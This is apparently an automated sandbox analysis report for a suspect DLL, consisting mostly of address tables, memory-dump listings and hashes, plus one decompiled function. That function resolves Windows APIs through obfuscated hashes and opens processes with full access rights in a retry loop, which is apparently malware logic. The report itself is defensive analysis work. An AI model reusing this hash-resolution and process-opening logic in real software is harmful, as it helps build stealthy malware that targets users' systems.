                                                                                                      0x6ec3a7a7
                                                                                                      0x6ec3a7ac
                                                                                                      0x6ec3a7ae
                                                                                                      0x6ec3a7b4
                                                                                                      0x6ec3a7bb
                                                                                                      0x6ec3a7bf
                                                                                                      0x6ec3a7c4
                                                                                                      0x6ec3a7c8
                                                                                                      0x6ec3ac03
                                                                                                      0x6ec3ac17
                                                                                                      0x6ec3ac3a
                                                                                                      0x6ec3ac3f
                                                                                                      0x6ec3ac3f
                                                                                                      0x6ec3a7df
                                                                                                      0x6ec3a7e4
                                                                                                      0x6ec3a7e4
                                                                                                      0x6ec3a7e4
                                                                                                      0x6ec3a7e4
                                                                                                      0x6ec3a7ea
                                                                                                      0x6ec3a7ef
                                                                                                      0x6ec3a7f1
                                                                                                      0x6ec3a7f6
                                                                                                      0x6ec3a7fd
                                                                                                      0x6ec3a802
                                                                                                      0x6ec3a804
                                                                                                      0x6ec3abc1
                                                                                                      0x6ec3abd2
                                                                                                      0x6ec3abec
                                                                                                      0x6ec3abf1
                                                                                                      0x6ec3abf1
                                                                                                      0x6ec3a81a
                                                                                                      0x6ec3a81f
                                                                                                      0x6ec3a81f
                                                                                                      0x6ec3a81f
                                                                                                      0x6ec3a81f
                                                                                                      0x6ec3a833
                                                                                                      0x6ec3a851
                                                                                                      0x6ec3a856
                                                                                                      0x6ec3a866
                                                                                                      0x6ec3a883
                                                                                                      0x6ec3a885
                                                                                                      0x6ec3a885
                                                                                                      0x00000000
                                                                                                      0x6ec3a79d
                                                                                                      0x6ec3a653
                                                                                                      0x6ec3a653
                                                                                                      0x6ec3a655
                                                                                                      0x6ec3a65c
                                                                                                      0x6ec3a66a
                                                                                                      0x6ec3a66c
                                                                                                      0x6ec3a66f
                                                                                                      0x6ec3a676
                                                                                                      0x6ec3a678
                                                                                                      0x6ec3a6a9
                                                                                                      0x6ec3a6b8
                                                                                                      0x6ec3a6ba
                                                                                                      0x6ec3a6bc
                                                                                                      0x6ec3a6da
                                                                                                      0x6ec3a6dc
                                                                                                      0x6ec3a6de
                                                                                                      0x6ec3a6f1
                                                                                                      0x6ec3a710
                                                                                                      0x6ec3a716
                                                                                                      0x6ec3a719
                                                                                                      0x6ec3a730
                                                                                                      0x6ec3a74c
                                                                                                      0x6ec3a74e
                                                                                                      0x6ec3a74e
                                                                                                      0x6ec3a74e
                                                                                                      0x6ec3a74e
                                                                                                      0x6ec3a6de
                                                                                                      0x00000000
                                                                                                      0x6ec3a6bc
                                                                                                      0x6ec3a67c
                                                                                                      0x6ec3a67c
                                                                                                      0x6ec3a67e
                                                                                                      0x6ec3a68f
                                                                                                      0x6ec3a691
                                                                                                      0x6ec3a693
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a69f
                                                                                                      0x6ec3a6a0
                                                                                                      0x6ec3a6a7
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a6a7
                                                                                                      0x6ec3a695
                                                                                                      0x6ec3a698
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a751
                                                                                                      0x6ec3a751
                                                                                                      0x6ec3a752
                                                                                                      0x6ec3a752
                                                                                                      0x00000000
                                                                                                      0x6ec3a545
                                                                                                      0x6ec3a547
                                                                                                      0x6ec3a547
                                                                                                      0x6ec3a549
                                                                                                      0x6ec3a550
                                                                                                      0x6ec3a55e
                                                                                                      0x6ec3a560
                                                                                                      0x6ec3a564
                                                                                                      0x6ec3a568
                                                                                                      0x6ec3a56a
                                                                                                      0x6ec3a598
                                                                                                      0x6ec3a59b
                                                                                                      0x6ec3a5a0
                                                                                                      0x6ec3a5a4
                                                                                                      0x6ec3a5a9
                                                                                                      0x6ec3a5b0
                                                                                                      0x6ec3a5b5
                                                                                                      0x6ec3a5b7
                                                                                                      0x6ec3ab7e
                                                                                                      0x6ec3ab8f
                                                                                                      0x6ec3abaf
                                                                                                      0x6ec3abb4
                                                                                                      0x6ec3abb4
                                                                                                      0x6ec3a5cd
                                                                                                      0x6ec3a5d2
                                                                                                      0x6ec3a5d2
                                                                                                      0x6ec3a5d2
                                                                                                      0x6ec3a5d2
                                                                                                      0x6ec3a5e4
                                                                                                      0x6ec3a5e6
                                                                                                      0x6ec3a5e8
                                                                                                      0x6ec3a5f9
                                                                                                      0x6ec3a5f9
                                                                                                      0x6ec3a5ff
                                                                                                      0x6ec3a604
                                                                                                      0x6ec3a608
                                                                                                      0x6ec3a60e
                                                                                                      0x6ec3a615
                                                                                                      0x6ec3a61a
                                                                                                      0x6ec3a61c
                                                                                                      0x6ec3ab32
                                                                                                      0x6ec3ab43
                                                                                                      0x6ec3ab64
                                                                                                      0x6ec3ab69
                                                                                                      0x6ec3ab69
                                                                                                      0x6ec3a633
                                                                                                      0x6ec3a638
                                                                                                      0x6ec3a638
                                                                                                      0x6ec3a638
                                                                                                      0x6ec3a638
                                                                                                      0x6ec3a63b
                                                                                                      0x6ec3a63b
                                                                                                      0x00000000
                                                                                                      0x6ec3a63b
                                                                                                      0x6ec3a56e
                                                                                                      0x6ec3a56e
                                                                                                      0x6ec3a570
                                                                                                      0x6ec3a581
                                                                                                      0x6ec3a583
                                                                                                      0x6ec3a585
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a591
                                                                                                      0x6ec3a592
                                                                                                      0x6ec3a596
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a596
                                                                                                      0x6ec3a587
                                                                                                      0x6ec3a58a
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec3a63c
                                                                                                      0x6ec3a63c
                                                                                                      0x6ec3a63d
                                                                                                      0x6ec3a63d
                                                                                                      0x00000000
                                                                                                      0x6ec3a549
                                                                                                      0x6ec3a53f

                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID: 0-3916222277
                                                                                                      • Opcode ID: f1f2504d5b272b1d53926927d787d9f3a840569e460bca9c254f54927edca96d
                                                                                                      • Instruction ID: 087e1690ffb272b230abd166ed79a2f8d07e026847f44b58871f1b5558978118
                                                                                                      • Opcode Fuzzy Hash: f1f2504d5b272b1d53926927d787d9f3a840569e460bca9c254f54927edca96d
                                                                                                      • Instruction Fuzzy Hash: AE1283725043619FC714EFA4C890AAEB7A9EFC5704F308E1DE999972A5FB309C11CB42
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 93%
                                                                                                      			E6EC38428(signed int* __ecx, intOrPtr __edx, void* __eflags) {
                                                                                                      				void* __esi;
                                                                                                      				void* __ebp;
                                                                                                      				signed int* _t173;
                                                                                                      				signed int* _t178;
                                                                                                      				void* _t180;
                                                                                                      				void* _t181;
                                                                                                      				intOrPtr* _t188;
                                                                                                      				signed int _t202;
                                                                                                      				intOrPtr* _t211;
                                                                                                      				intOrPtr* _t212;
                                                                                                      				intOrPtr* _t217;
                                                                                                      				signed int* _t218;
                                                                                                      				void* _t219;
                                                                                                      				void* _t220;
                                                                                                      				void* _t237;
                                                                                                      				void* _t238;
                                                                                                      				signed int* _t246;
                                                                                                      				void* _t247;
                                                                                                      				signed int* _t258;
                                                                                                      				intOrPtr* _t269;
                                                                                                      				signed int* _t277;
                                                                                                      				intOrPtr* _t279;
                                                                                                      				void* _t283;
                                                                                                      				void* _t285;
                                                                                                      				void* _t287;
                                                                                                      				signed int* _t296;
                                                                                                      				void* _t299;
                                                                                                      				signed int* _t308;
                                                                                                      				intOrPtr* _t310;
                                                                                                      				signed int _t315;
                                                                                                      				intOrPtr _t317;
                                                                                                      				signed int* _t322;
                                                                                                      				signed int _t323;
                                                                                                      				signed int _t324;
                                                                                                      				void* _t343;
                                                                                                      				void* _t414;
                                                                                                      				signed int _t415;
                                                                                                      				signed int* _t421;
                                                                                                      				signed int _t427;
                                                                                                      				intOrPtr* _t428;
                                                                                                      				intOrPtr* _t429;
                                                                                                      				signed int _t431;
                                                                                                      				signed int _t433;
                                                                                                      				signed int _t437;
                                                                                                      				signed int _t438;
                                                                                                      				signed int _t439;
                                                                                                      				signed int _t442;
                                                                                                      				void* _t443;
                                                                                                      				signed int _t444;
                                                                                                      				void* _t445;
                                                                                                      				signed int _t446;
                                                                                                      				intOrPtr* _t449;
                                                                                                      
                                                                                                      				 *_t449 = __ecx + 0x1c;
                                                                                                      				 *((intOrPtr*)(_t449 + 0x68)) = __edx;
                                                                                                      				 *(_t449 + 4) = __ecx;
                                                                                                      				 *(_t449 + 0x84) = 0;
                                                                                                      				 *((intOrPtr*)(_t449 + 0x78)) = __ecx + 4;
                                                                                                      				while(1) {
                                                                                                      					_t413 =  *(_t449 + 0x6c);
                                                                                                      					E6EC3B658(_t449 + 0x24,  *(_t449 + 0x6c), 0x7fffffff);
                                                                                                      					if(E6EC3F4D0(_t449 + 0x24) == 0) {
                                                                                                      						goto L3;
                                                                                                      					} else {
                                                                                                      						( *(_t449 + 4))[0xb] = 0;
                                                                                                      						E6EC3F654(_t449 + 0x24);
                                                                                                      					}
                                                                                                      					L60:
                                                                                                      					_t317 = 0xffffffffffffffff;
                                                                                                      					L62:
                                                                                                      					if(_t317 != 0) {
                                                                                                      						L65:
                                                                                                      						return _t317;
                                                                                                      					}
                                                                                                      					if( *(_t449 + 0x84) != 0x20) {
                                                                                                      						E6EC42234(0x5dc, _t413, _t430);
                                                                                                      						 *(_t449 + 0x84) =  *(_t449 + 0x84) + 1;
                                                                                                      						continue;
                                                                                                      					}
                                                                                                      					_t317 = 0xffffffffffffffff;
                                                                                                      					goto L65;
                                                                                                      					L3:
                                                                                                      					__eflags =  *( *(_t449 + 4));
                                                                                                      					if( *( *(_t449 + 4)) <= 0) {
                                                                                                      						L21:
                                                                                                      						__eflags =  *(_t449 + 0x20);
                                                                                                      						if( *(_t449 + 0x20) <= 0) {
                                                                                                      							L33:
                                                                                                      							E6EC3F654(_t449 + 0x24);
                                                                                                      							_t173 =  *(_t449 + 4);
                                                                                                      							__eflags = _t173[0xb];
                                                                                                      							if(_t173[0xb] == 0) {
                                                                                                      								L46:
                                                                                                      								 *((intOrPtr*)(_t449 + 8)) = 0;
                                                                                                      								 *((intOrPtr*)(_t449 + 0xc)) = 0;
                                                                                                      								E6EC3F584(_t449 + 0x14, 0);
                                                                                                      								 *((intOrPtr*)(_t449 + 0x34)) =  *((intOrPtr*)(_t449 + 0x68));
                                                                                                      								 *((intOrPtr*)(_t449 + 0x38)) = 0;
                                                                                                      								E6EC3F584(_t449 + 0x40, 0);
                                                                                                      								_t178 =  *(_t449 + 4);
                                                                                                      								_t414 = 0x40;
                                                                                                      								__eflags = _t178[6] - 0x40;
                                                                                                      								_t415 =  <  ? _t178[6] : _t414;
                                                                                                      								 *(_t449 + 0x80) = _t415;
                                                                                                      								__eflags = _t415;
                                                                                                      								if(_t415 <= 0) {
                                                                                                      									L57:
                                                                                                      									_t413 = E6EC3F4BC(_t449 + 0x14, 0);
                                                                                                      									_t180 = E6EC42908( *((intOrPtr*)(_t449 + 0xc)), _t179, 0x3e8);
                                                                                                      									_t132 = _t180 - 0x80; // -128
                                                                                                      									_t181 = _t132;
                                                                                                      									__eflags = _t181 - 0x3f;
                                                                                                      									_t315 =  <=  ? _t181 : _t180;
                                                                                                      									__eflags = _t315 - 0x102;
                                                                                                      									if(_t315 == 0x102) {
                                                                                                      										L59:
                                                                                                      										E6EC3B5C4(_t449 + 0x34);
                                                                                                      										E6EC3B5C4(_t449 + 8);
                                                                                                      										goto L60;
                                                                                                      									}
                                                                                                      									__eflags = _t315 - 0x3f;
                                                                                                      									if(_t315 <= 0x3f) {
                                                                                                      										__eflags = _t315 << 2;
                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(_t449 + 8)) + 0x2c)) =  *((intOrPtr*)(E6EC3F4BC( *(_t449 + 4), _t315 << 2)));
                                                                                                      										_t188 = E6EC3F4BC( *(_t449 + 0x7c), _t315 << 2);
                                                                                                      										_t413 =  *(_t449 + 4);
                                                                                                      										 *((intOrPtr*)(_t413 + 0x30)) =  *_t188;
                                                                                                      										_t317 =  *((intOrPtr*)(_t413 + 0x2c));
                                                                                                      										E6EC3B5C4(_t449 + 0x34);
                                                                                                      										E6EC3B5C4(_t449 + 8);
                                                                                                      										goto L62;
                                                                                                      									}
                                                                                                      									goto L59;
                                                                                                      								}
                                                                                                      								_t446 = 0;
                                                                                                      								__eflags = 0;
                                                                                                      								while(1) {
                                                                                                      									E6EC3CA8C(_t449 + 0x4c);
                                                                                                      									_t413 = 0;
                                                                                                      									_t343 = _t449 + 0x4c;
                                                                                                      									 *((char*)(_t343 + 4)) = 0;
                                                                                                      									 *((intOrPtr*)(_t343 + 0x20)) = 0;
                                                                                                      									__eflags = E6EC3C280(_t343);
                                                                                                      									if(__eflags != 0) {
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									E6EC3F828(_t449 + 0x14, E6EC3F4CC(_t449 + 0x10) + 4);
                                                                                                      									 *((intOrPtr*)(E6EC3F4BC(_t449 + 0x14, E6EC3F4CC(_t449 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t449 + 0x4c));
                                                                                                      									 *((intOrPtr*)(_t449 + 0xc)) =  *((intOrPtr*)(_t449 + 0xc)) + 1;
                                                                                                      									_t202 = E6EC43064(0x60a28c5c, 0x3659ae1e);
                                                                                                      									__eflags = _t202;
                                                                                                      									if(_t202 == 0) {
                                                                                                      										L51:
                                                                                                      										_t413 =  *(_t449 + 0x6c);
                                                                                                      										__eflags = _t413;
                                                                                                      										if(__eflags == 0) {
                                                                                                      											break;
                                                                                                      										}
                                                                                                      										__eflags = _t413 - 0xffffffff;
                                                                                                      										if(__eflags != 0) {
                                                                                                      											E6EC3F828(_t449 + 0x40, E6EC3F4CC(_t449 + 0x3c) + 4);
                                                                                                      											 *(E6EC3F4BC(_t449 + 0x40, E6EC3F4CC(_t449 + 0x3c) + 0xfffffffc)) =  *(_t449 + 0x6c);
                                                                                                      											 *((intOrPtr*)(_t449 + 0x4c - 0x14)) =  *((intOrPtr*)(_t449 + 0x4c - 0x14)) + 1;
                                                                                                      											E6EC3CD24(_t449 + 0x4c, __eflags);
                                                                                                      											_t446 = _t446 + 1;
                                                                                                      											__eflags = _t446 -  *(_t449 + 0x80);
                                                                                                      											if(_t446 <  *(_t449 + 0x80)) {
                                                                                                      												continue;
                                                                                                      											}
                                                                                                      											_t431 = 0;
                                                                                                      											__eflags = 0;
                                                                                                      											do {
                                                                                                      												_t211 = E6EC3F4BC( *(_t449 + 4), _t431 * 4);
                                                                                                      												_t212 = E6EC3F4BC(_t449 + 0x40, _t431 * 4);
                                                                                                      												E6EC38B58( *_t211, E6EC402B0(0x60a28c5c, 0x840d15ae),  *_t212, 0, 0);
                                                                                                      												_t431 = _t431 + 1;
                                                                                                      												__eflags = _t431 -  *(_t449 + 0x80);
                                                                                                      											} while (_t431 <  *(_t449 + 0x80));
                                                                                                      											goto L57;
                                                                                                      										}
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									_t413 = 0;
                                                                                                      									_push(2);
                                                                                                      									_push(0);
                                                                                                      									_push(0);
                                                                                                      									_push(_t449 + 0x6c);
                                                                                                      									_push( *((intOrPtr*)(_t449 + 0x78)));
                                                                                                      									_push( *((intOrPtr*)(_t449 + 0x60)));
                                                                                                      									_push(0xffffffff);
                                                                                                      									asm("int3");
                                                                                                      									asm("int3");
                                                                                                      									__eflags = _t202;
                                                                                                      									if(__eflags != 0) {
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									goto L51;
                                                                                                      								}
                                                                                                      								E6EC3CD24(_t449 + 0x4c, __eflags);
                                                                                                      								goto L59;
                                                                                                      							}
                                                                                                      							_t427 =  *_t173;
                                                                                                      							__eflags = _t427;
                                                                                                      							if(_t427 <= 0) {
                                                                                                      								goto L46;
                                                                                                      							}
                                                                                                      							_t430 = 0;
                                                                                                      							__eflags = 0;
                                                                                                      							_t322 =  &(_t173[1]);
                                                                                                      							while(1) {
                                                                                                      								_t433 = _t430 * 4;
                                                                                                      								_t217 = E6EC3F4BC(_t322, _t433);
                                                                                                      								_t218 =  *(_t449 + 4);
                                                                                                      								__eflags =  *_t217 - _t218[0xc];
                                                                                                      								if( *_t217 == _t218[0xc]) {
                                                                                                      									break;
                                                                                                      								}
                                                                                                      								_t430 = _t430 + 1;
                                                                                                      								__eflags = _t430 - _t427;
                                                                                                      								if(_t430 < _t427) {
                                                                                                      									continue;
                                                                                                      								}
                                                                                                      								goto L46;
                                                                                                      							}
                                                                                                      							__eflags = _t430 - 0xffffffff;
                                                                                                      							if(_t430 != 0xffffffff) {
                                                                                                      								_t219 = E6EC3F4CC( *_t449);
                                                                                                      								__eflags = _t219 - _t433;
                                                                                                      								if(_t219 > _t433) {
                                                                                                      									 *((intOrPtr*)(_t449 + 0x74)) = 4 + _t430 * 4;
                                                                                                      									_t247 = E6EC3F4CC( *_t449);
                                                                                                      									__eflags = _t247 -  *((intOrPtr*)(_t449 + 0x74));
                                                                                                      									if(_t247 >  *((intOrPtr*)(_t449 + 0x74))) {
                                                                                                      										 *((intOrPtr*)(_t449 + 0x90)) = E6EC3F4BC( *(_t449 + 4), _t433);
                                                                                                      										 *((intOrPtr*)(_t449 + 0x8c)) = E6EC3F4BC( *(_t449 + 4),  *((intOrPtr*)(_t449 + 0x74)));
                                                                                                      										E6EC438F0( *((intOrPtr*)(_t449 + 0x98)),  *((intOrPtr*)(_t449 + 0x90)), E6EC3F4CC( *_t449) -  *((intOrPtr*)(_t449 + 0x74)));
                                                                                                      										_t449 = _t449 + 0xc;
                                                                                                      									}
                                                                                                      									E6EC3F828( *(_t449 + 4), E6EC3F4CC( *_t449) + 0xfffffffc);
                                                                                                      									_t421 =  *(_t449 + 4);
                                                                                                      									_t75 =  &(_t421[6]);
                                                                                                      									 *_t75 = _t421[6] - 1;
                                                                                                      									__eflags =  *_t75;
                                                                                                      								}
                                                                                                      								_t220 = E6EC3F4CC(_t322);
                                                                                                      								__eflags = _t220 - _t433;
                                                                                                      								if(_t220 > _t433) {
                                                                                                      									_t430 = 4 + _t430 * 4;
                                                                                                      									_t237 = E6EC3F4CC(_t322);
                                                                                                      									__eflags = _t237 - _t430;
                                                                                                      									if(_t237 > _t430) {
                                                                                                      										_t238 = E6EC3F4BC(_t322, _t433);
                                                                                                      										 *((intOrPtr*)(_t449 + 0x94)) = E6EC3F4BC(_t322, _t430);
                                                                                                      										E6EC438F0(_t238,  *((intOrPtr*)(_t449 + 0x98)), E6EC3F4CC(_t322) - _t430);
                                                                                                      										_t449 = _t449 + 0xc;
                                                                                                      									}
                                                                                                      									E6EC3F828(_t322, E6EC3F4CC(_t322) + 0xfffffffc);
                                                                                                      									_t246 =  *(_t449 + 4);
                                                                                                      									 *_t246 =  *_t246 - 1;
                                                                                                      									__eflags =  *_t246;
                                                                                                      								}
                                                                                                      								E6EC3F828( *(_t449 + 4), E6EC3F4CC( *_t449) + 4);
                                                                                                      								 *(E6EC3F4BC( *(_t449 + 4), E6EC3F4CC( *_t449) + 0xfffffffc)) = ( *(_t449 + 4))[0xb];
                                                                                                      								( *(_t449 + 4))[6] = ( *(_t449 + 4))[6] + 1;
                                                                                                      								E6EC3F828(_t322, E6EC3F4CC(_t322) + 4);
                                                                                                      								 *(E6EC3F4BC(_t322, E6EC3F4CC(_t322) + 0xfffffffc)) = ( *(_t449 + 4))[0xc];
                                                                                                      								 *( *(_t449 + 4)) =  *( *(_t449 + 4)) + 1;
                                                                                                      							}
                                                                                                      							goto L46;
                                                                                                      						}
                                                                                                      						_t323 = 0;
                                                                                                      						__eflags = 0;
                                                                                                      						do {
                                                                                                      							 *(_t449 + 0x7c) = _t323 * 4;
                                                                                                      							_t428 = E6EC3F4BC(_t449 + 0x28, _t323 * 4);
                                                                                                      							_t258 =  *(_t449 + 4);
                                                                                                      							_t430 =  *_t258;
                                                                                                      							__eflags = _t430;
                                                                                                      							if(_t430 <= 0) {
                                                                                                      								L29:
                                                                                                      								_t437 = E6EC43064(0x8e844d1e, 0x5c3654e3);
                                                                                                      								__eflags = _t437;
                                                                                                      								if(_t437 != 0) {
                                                                                                      									_t439 =  *_t437(0x1fffff, 0,  *((intOrPtr*)(E6EC3F4BC(_t449 + 0x28,  *(_t449 + 0x7c)))));
                                                                                                      									__eflags = _t439;
                                                                                                      									if(_t439 != 0) {
                                                                                                      										E6EC3F828( *(_t449 + 4), E6EC3F4CC( *_t449) + 4);
                                                                                                      										 *(E6EC3F4BC( *(_t449 + 4), E6EC3F4CC( *_t449) + 0xfffffffc)) = _t439;
                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(_t449 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t449 + 0x28 - 0x20)) + 0x18)) + 1;
                                                                                                      										_t269 = E6EC3F4BC(_t449 + 0x28,  *(_t449 + 0x7c));
                                                                                                      										 *(_t449 + 0x70) =  &(( *(_t449 + 4))[1]);
                                                                                                      										E6EC3F828( *((intOrPtr*)(_t449 + 0x74)), E6EC3F4CC( &(( *(_t449 + 4))[1])) + 4);
                                                                                                      										 *((intOrPtr*)(E6EC3F4BC( *((intOrPtr*)(_t449 + 0x74)), E6EC3F4CC( *(_t449 + 0x70)) + 0xfffffffc))) =  *_t269;
                                                                                                      										_t277 =  *(_t449 + 4);
                                                                                                      										 *_t277 =  *_t277 + 1;
                                                                                                      										__eflags =  *_t277;
                                                                                                      									}
                                                                                                      								}
                                                                                                      								goto L32;
                                                                                                      							}
                                                                                                      							_t438 = 0;
                                                                                                      							__eflags = 0;
                                                                                                      							 *(_t449 + 0x88) =  &(_t258[1]);
                                                                                                      							while(1) {
                                                                                                      								_t279 = E6EC3F4BC( *((intOrPtr*)(_t449 + 0x8c)), _t438 * 4);
                                                                                                      								__eflags =  *_t279 -  *_t428;
                                                                                                      								if( *_t279 ==  *_t428) {
                                                                                                      									break;
                                                                                                      								}
                                                                                                      								_t438 = _t438 + 1;
                                                                                                      								__eflags = _t438 - _t430;
                                                                                                      								if(_t438 < _t430) {
                                                                                                      									continue;
                                                                                                      								}
                                                                                                      								goto L29;
                                                                                                      							}
                                                                                                      							__eflags = _t438 - 0xffffffff;
                                                                                                      							if(_t438 == 0xffffffff) {
                                                                                                      								goto L29;
                                                                                                      							}
                                                                                                      							L32:
                                                                                                      							_t323 = _t323 + 1;
                                                                                                      							__eflags = _t323 -  *(_t449 + 0x20);
                                                                                                      						} while (_t323 <  *(_t449 + 0x20));
                                                                                                      						goto L33;
                                                                                                      					} else {
                                                                                                      						_t324 = 0;
                                                                                                      						__eflags = 0;
                                                                                                      						do {
                                                                                                      							 *(_t449 + 0x64) = _t324 * 4;
                                                                                                      							_t429 = E6EC3F4BC( *(_t449 + 0x7c), _t324 * 4);
                                                                                                      							_t430 =  *(_t449 + 0x20);
                                                                                                      							__eflags = _t430;
                                                                                                      							if(_t430 <= 0) {
                                                                                                      								L11:
                                                                                                      								_t430 =  &(( *(_t449 + 4))[1]);
                                                                                                      								_t283 = E6EC3F4CC( &(( *(_t449 + 4))[1]));
                                                                                                      								__eflags = _t283 -  *(_t449 + 0x64);
                                                                                                      								if(_t283 >  *(_t449 + 0x64)) {
                                                                                                      									_t443 = 4 + _t324 * 4;
                                                                                                      									_t299 = E6EC3F4CC(_t430);
                                                                                                      									__eflags = _t299 - _t443;
                                                                                                      									if(_t299 > _t443) {
                                                                                                      										 *((intOrPtr*)(_t449 + 0x9c)) = E6EC3F4BC(_t430,  *(_t449 + 0x64));
                                                                                                      										 *((intOrPtr*)(_t449 + 0x98)) = E6EC3F4BC(_t430, _t443);
                                                                                                      										E6EC438F0( *((intOrPtr*)(_t449 + 0xa4)),  *((intOrPtr*)(_t449 + 0x9c)), E6EC3F4CC(_t430) - _t443);
                                                                                                      										_t449 = _t449 + 0xc;
                                                                                                      									}
                                                                                                      									E6EC3F828(_t430, E6EC3F4CC(_t430) + 0xfffffffc);
                                                                                                      									_t308 =  *(_t449 + 4);
                                                                                                      									 *_t308 =  *_t308 - 1;
                                                                                                      									__eflags =  *_t308;
                                                                                                      								}
                                                                                                      								_t442 = E6EC43064(0x60a28c5c, 0xe96b154c);
                                                                                                      								__eflags = _t442;
                                                                                                      								if(_t442 != 0) {
                                                                                                      									 *_t442( *(E6EC3F4BC( *(_t449 + 4),  *(_t449 + 0x64))));
                                                                                                      								}
                                                                                                      								_t285 = E6EC3F4CC( *_t449);
                                                                                                      								__eflags = _t285 -  *(_t449 + 0x64);
                                                                                                      								if(_t285 >  *(_t449 + 0x64)) {
                                                                                                      									_t445 = 4 + _t324 * 4;
                                                                                                      									_t287 = E6EC3F4CC( *_t449);
                                                                                                      									__eflags = _t287 - _t445;
                                                                                                      									if(_t287 > _t445) {
                                                                                                      										_t430 = E6EC3F4BC( *(_t449 + 4),  *(_t449 + 0x64));
                                                                                                      										 *((intOrPtr*)(_t449 + 0xa0)) = E6EC3F4BC( *(_t449 + 4), _t445);
                                                                                                      										E6EC438F0(_t288,  *((intOrPtr*)(_t449 + 0xa4)), E6EC3F4CC( *_t449) - _t445);
                                                                                                      										_t449 = _t449 + 0xc;
                                                                                                      									}
                                                                                                      									E6EC3F828( *(_t449 + 4), E6EC3F4CC( *_t449) + 0xfffffffc);
                                                                                                      									_t296 =  *(_t449 + 4);
                                                                                                      									_t33 =  &(_t296[6]);
                                                                                                      									 *_t33 = _t296[6] - 1;
                                                                                                      									__eflags =  *_t33;
                                                                                                      								}
                                                                                                      								_t324 = _t324 - 1;
                                                                                                      								__eflags = _t324;
                                                                                                      								goto L20;
                                                                                                      							}
                                                                                                      							_t444 = 0;
                                                                                                      							__eflags = 0;
                                                                                                      							while(1) {
                                                                                                      								_t310 = E6EC3F4BC(_t449 + 0x28, _t444 * 4);
                                                                                                      								__eflags =  *_t310 -  *_t429;
                                                                                                      								if( *_t310 ==  *_t429) {
                                                                                                      									break;
                                                                                                      								}
                                                                                                      								_t444 = _t444 + 1;
                                                                                                      								__eflags = _t444 - _t430;
                                                                                                      								if(_t444 < _t430) {
                                                                                                      									continue;
                                                                                                      								}
                                                                                                      								goto L11;
                                                                                                      							}
                                                                                                      							__eflags = _t444 - 0xffffffff;
                                                                                                      							if(_t444 == 0xffffffff) {
                                                                                                      								goto L11;
                                                                                                      							}
                                                                                                      							L20:
                                                                                                      							_t324 = _t324 + 1;
                                                                                                      							__eflags = _t324 -  *( *(_t449 + 4));
                                                                                                      						} while (_t324 <  *( *(_t449 + 4)));
                                                                                                      						goto L21;
                                                                                                      					}
                                                                                                      				}
                                                                                                      			}























































                                                                                                      0x6ec38435
                                                                                                      0x6ec3843b
                                                                                                      0x6ec3843f
                                                                                                      0x6ec38443
                                                                                                      0x6ec3844e
                                                                                                      0x6ec38452
                                                                                                      0x6ec38457
                                                                                                      0x6ec3845f
                                                                                                      0x6ec3846f
                                                                                                      0x00000000
                                                                                                      0x6ec38471
                                                                                                      0x6ec38479
                                                                                                      0x6ec38480
                                                                                                      0x6ec38480
                                                                                                      0x6ec389d3
                                                                                                      0x6ec389d5
                                                                                                      0x6ec38a16
                                                                                                      0x6ec38a18
                                                                                                      0x6ec38a27
                                                                                                      0x6ec38a33
                                                                                                      0x6ec38a33
                                                                                                      0x6ec38a22
                                                                                                      0x6ec38a39
                                                                                                      0x6ec38a3e
                                                                                                      0x00000000
                                                                                                      0x6ec38a3e
                                                                                                      0x6ec38a26
                                                                                                      0x00000000
                                                                                                      0x6ec3848a
                                                                                                      0x6ec3848e
                                                                                                      0x6ec38491
                                                                                                      0x6ec38599
                                                                                                      0x6ec38599
                                                                                                      0x6ec3859e
                                                                                                      0x6ec386c1
                                                                                                      0x6ec386c5
                                                                                                      0x6ec386ca
                                                                                                      0x6ec386ce
                                                                                                      0x6ec386d2
                                                                                                      0x6ec38808
                                                                                                      0x6ec3880a
                                                                                                      0x6ec3880e
                                                                                                      0x6ec38817
                                                                                                      0x6ec38822
                                                                                                      0x6ec38826
                                                                                                      0x6ec3882f
                                                                                                      0x6ec38834
                                                                                                      0x6ec3883a
                                                                                                      0x6ec3883b
                                                                                                      0x6ec3883f
                                                                                                      0x6ec38843
                                                                                                      0x6ec3884a
                                                                                                      0x6ec3884c
                                                                                                      0x6ec3898c
                                                                                                      0x6ec3899d
                                                                                                      0x6ec389a4
                                                                                                      0x6ec389ab
                                                                                                      0x6ec389ab
                                                                                                      0x6ec389ae
                                                                                                      0x6ec389b1
                                                                                                      0x6ec389b4
                                                                                                      0x6ec389ba
                                                                                                      0x6ec389c1
                                                                                                      0x6ec389c5
                                                                                                      0x6ec389ce
                                                                                                      0x00000000
                                                                                                      0x6ec389ce
                                                                                                      0x6ec389bc
                                                                                                      0x6ec389bf
                                                                                                      0x6ec389d8
                                                                                                      0x6ec389f0
                                                                                                      0x6ec389f3
                                                                                                      0x6ec389f8
                                                                                                      0x6ec38a02
                                                                                                      0x6ec38a05
                                                                                                      0x6ec38a08
                                                                                                      0x6ec38a11
                                                                                                      0x00000000
                                                                                                      0x6ec38a11
                                                                                                      0x00000000
                                                                                                      0x6ec389bf
